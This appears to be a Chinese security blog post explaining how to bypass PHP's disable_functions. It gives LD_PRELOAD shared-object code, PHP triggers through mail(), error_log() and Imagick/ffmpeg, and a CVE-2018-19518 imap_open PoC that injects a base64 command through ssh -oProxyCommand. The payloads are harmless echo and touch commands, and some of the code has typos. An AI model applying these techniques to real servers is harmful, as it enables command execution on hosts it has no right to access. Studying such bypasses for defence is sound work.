0x00 前言

有时候直接执行命令的函数被ban了,那么有几种思路可以bypass

1.使用php本身自带的能够调用外部程序的函数

2.使用第三方插件入(如imagick)

但是这两种无非就是利用php去调用外部的软件,再利用外面的软件执行shell

0x01 LD_PRELOAD

每个程序执行的时候会去动态链接库so文件里面找函数的位置,而我们的目的是让程序去执行我们自定义的动态链接库

LD_PRELOAD这个全局变量指定的so文件会在每个程序本身的so文件之前加载

export						#查看当前有的全局变量
export LD_PRELOAD=./test.so #将当前目录下的test.so文件加载到每个程序的动态链接库最前面

一个程序执行了哪些函数,可以使用

readelf -s /usr/bin/id
readelf -s /usr/sbin/sendmail

比如id中使用了getuid

    20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getuid@GLIBC_2.2.5 (2)

那么编写个so文件

test2.c

#include <stdlib.h>
#include <stdio.h> int getuid(){
if(getenv("LD_PRELOAD") == NULL){
return 0;
}
unsetenv("LD_PRELOAD");
system("echo 'hello' >hello.txt");
}

编译生成so文件

gcc -c -fPIC test2.c -o test2
gcc --share test2 -o test2.so

设置环境变量

export LD_PRELOAD=./test2.so

在php中如果把so文件传上去了后,可以利用putevn函数来设置全局变量

0x02 php本身能够执行外部程序的函数

能够触发外部命令的函数有mail(),error_log(),这2个函数都是会调用sendmail命令,这个sendmail软件是linux下用来发送邮件的(如果没有可用使用apt-get install sendmail安装)

<?php
putevn("LD_PRELOAD=./test2.so");
mail("","","","");
//error_log("err",1,"","");
?>

假设没有sendmail,我新装的ubuntu就没有默认安装,那么php还有个的函数是2018年底爆出的一个CVE漏洞CVE-2018-19518imap_open()函数

我也不知道这是不是php的锅,这个函数它是用来发送邮件的,它使用的是rsh连接远程的shell,但是在ubuntudebain下,它是使用的ssh

而ssh的-oProxyCommand参数能够带命令的,比如

ssh -oProxyCommand="touch test.txt" 10.10.10.10

即使连接失败,本地也会创建个test.txt文件

那么php中的写法

<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
?>

这里直借用参考文章的poc了,因为我本地不知道是不是php是最新的原因,报错说找不到imap_open这个函数

0x03使用扩展插件

这里不得不提下ImageMagick了,这个图片处理的插件历史版本有很多漏洞,也有getshell的漏洞,但是这里介绍的是通过它调用外部的软件ffmpeg,也是通过so文件来达到命令执行的,至于环境如何搭建可以上网查查

ImageMagick处理以下文件的时候会调用ffmpeg(文件必须存在)

wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp

查看了ffmpeg的函数表,没有getuid,因为对C语言我又是个智障状态,所以也不知道其他函数什么返回值,什么参数,重写要注意些啥,这里就讲个能通用的办法

之前使用sendmail的时候是找的其中的一个函数getuid,因为软件执行的时候会去调用这个函数,那么我们目的是为了找到一个所有C程序都会去执行,并且都有的'函数',这个就是__attribute__((__constructor__))

这个函数会所有程序在启动main之前100%调用,因此so文件的写法

test3.c

#include <stdlib.h>
#include <stdio.h> __attribute__((__constructor__)) void angel(void){
unsetenv("LD_PRELOAD");
system("echo 'hello'");
}

在php中执行方法

<?php
$img = Imagick("1.mp4");
?>

0xff结语

本来0ctf之后就会研究这个问题的,不知道为什么拖到现在,也算是填了个坑

参考链接:

https://xz.aliyun.com/t/4623

https://cloud.tencent.com/developer/article/1379245

disable_function绕过--利用LD_PRELOAD的更多相关文章

  1. 利用LD_PRELOAD hook代码

    loader在进行动态链接的时候,会将有相同符号名的符号覆盖成LD_PRELOAD指定的so文件中的符号.换句话说,可以用我们自己的so库中的函数替换原来库里有的函数,从而达到hook的目的.这和Wi ...

  2. 利用LD_PRELOAD进行hook

    原文地址:http://hbprotoss.github.io/posts/li-yong-ld_preloadjin-xing-hook.html 好久没玩hook这种猥琐的东西里,今天在Linux ...

  3. 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

    目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...

  4. Disable_functions绕过整合

    转载 https://whoamianony.top/2021/03/13/Web安全/Bypass Disable_functions/ https://www.mi1k7ea.com/2019/0 ...

  5. 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH

    利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴.  原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...

  6. CTF练习三 —— 命令注入&命令执行绕过

    这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...

  7. bypass disable_function总结学习

    通常bypass的思路如下 1. 攻击后端组件,寻找存在命令注入的.web 应用常用的后端组件,如,ImageMagick 的魔图漏洞.bash 的破壳漏洞 2. 寻找未禁用的漏网函数,常见的执行命令 ...

  8. php bypass disable_function 命令执行 方法汇总简述

    1.使用未被禁用的其他函数 exec,shell_exec,system,popen,proc_open,passthru (python_eval?perl_system ? weevely3 wi ...

  9. SSRF绕过姿势

    0x00 什么是SSRF? SSRF(Server-Side Request Forgery,服务器端请求伪造):是一种由攻击者构造形成由服务器端发起请求的一个漏洞. SSRF 攻击的目标是从外网无法 ...

随机推荐

  1. http中get,post,put,delete方法的用法以及区别

    http协议是一种在网络中进行文件传送遵循的协议.一种无状态的协议.http协议服务器端不跟浏览器端建立长久的通信连接. 建立http通信之后,服务端将文件内容传送给浏览器端接收就完成一次请求.当然一 ...

  2. 树莓派“Wlan0: Not associated”报错解决方案

    当执行 ifconfig wlan0 时,是有wlan0的网卡信息输出的. 当执行 ifconfig wlan0 up 是没问题的(即没有任何输出). 执行 iwlist wlan0 scan | g ...

  3. HttpRuntime应用程序运行时

    System.Web.HttpRuntime类是整个Asp.net服务器处理的入口. 这个类提供了一系列的静态属性,反映web应用程序域的设置信息,而且每个web应用程序域中存在一个System.We ...

  4. GIT : IDEA切换到某个tag

    背景看一本presto的书,发现版本用的是presto-0.107这个版本.然后我去Apache clone下源码,发现分支只有几个,但是下载页面却有很多不同的版本 然后看Tag发现有很多. 然后我现 ...

  5. P3613 【深基15.例2】寄包柜

    传送门 题目大意 往一个\(a[i][j]\) 里边放东西,也可以取走东西,然后查询\(a[i][j]\)里边是什么东西. 思路: 显然我们可以暴力,但是你开不了那么大的数组. 翻了翻dalao们的题 ...

  6. 总线宽度VS总线带宽

    很多人把计算机总线宽度和总线带宽混为一谈,其实他们是不一样的. 总线宽度:总线宽度一般指CPU中运算器与存储器之间进行互连的内部总线二进制位数,影响吞吐量,即下面说的总线位宽. 总线带宽:总线的带宽指 ...

  7. A1038 Recover the Smallest Number (30 分)

    一.技术总结 此问题是贪心类问题,给出可能有前导零的数字串,将他们按照某个顺序拼接,使生成的数最小. 解决方案,就是使用cmp函数,因为两两字符串进行拼接,进行排序从小到大. 拼接过后会有0可能出现在 ...

  8. [LeetCode] 923. 3Sum With Multiplicity 三数之和的多种情况

    Given an integer array A, and an integer target, return the number of tuples i, j, k  such that i &l ...

  9. 拒绝后门程序-Alibabaprotect和AliPaladin

    详细参考帖子及评论区:流氓进程AlibabaProtect的删除[程序员吧]_百度贴吧 首先打开服务找到AlibabaProtect,然后找到他的位置(C:\Program Files (x86)\A ...

  10. Docker笔记:常用服务安装——Nginx、MySql、Redis(转载)

    转载地址:https://www.cnblogs.com/spec-dog/p/11320513.html 开发中经常需要安装一些常用的服务软件,如Nginx.MySql.Redis等,如果按照普通的 ...